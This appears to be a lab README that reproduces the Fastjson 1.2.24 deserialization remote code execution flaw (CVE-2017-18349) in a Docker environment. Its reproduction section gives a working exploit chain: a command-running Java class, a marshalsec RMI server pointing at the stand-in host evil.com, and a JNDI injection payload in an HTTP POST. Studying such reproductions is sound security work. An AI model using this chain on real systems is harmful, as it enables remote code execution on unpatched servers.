# Fastjson 1.2.24 Deserialization Remote Command Execution (CVE-2017-18349)

[中文版本(Chinese version)](README.zh-cn.md)

Fastjson is a JSON parser developed by Alibaba. During the JSON parsing process, it supports using autoType to instantiate a specific class and call its set/get methods to access properties. By identifying relevant methods in the code, malicious exploitation chains can be constructed.

## Environment Setup

Execute the following command to start the test server that use Fastjson 1.2.24 as the default JSON parser:

```
docker compose up -d
```

After the server is started, visit `http://your-ip:8090` to see a JSON format output.

You can update the server information by POSTing a JSON object to this address:

```
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
```

## Vulnerability Reproduction

Since the target environment is Java 8u102, which doesn't have the `com.sun.jndi.rmi.object.trustURLCodebase` restriction, we can use the `com.sun.rowset.JdbcRowSetImpl` exploitation chain to execute commands through JNDI injection.

First, compile and upload the command execution code, such as `http://evil.com/TouchFile.class`:

```java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
```

Then, using the [marshalsec](https://github.com/mbechler/marshalsec) project, start an RMI server listening on port 9999 and specify loading the remote class `TouchFile.class`:

```shell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
```

Send the payload to the target server with the RMI address:

```
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}
```

As shown below, the command `touch /tmp/success` has been successfully executed:
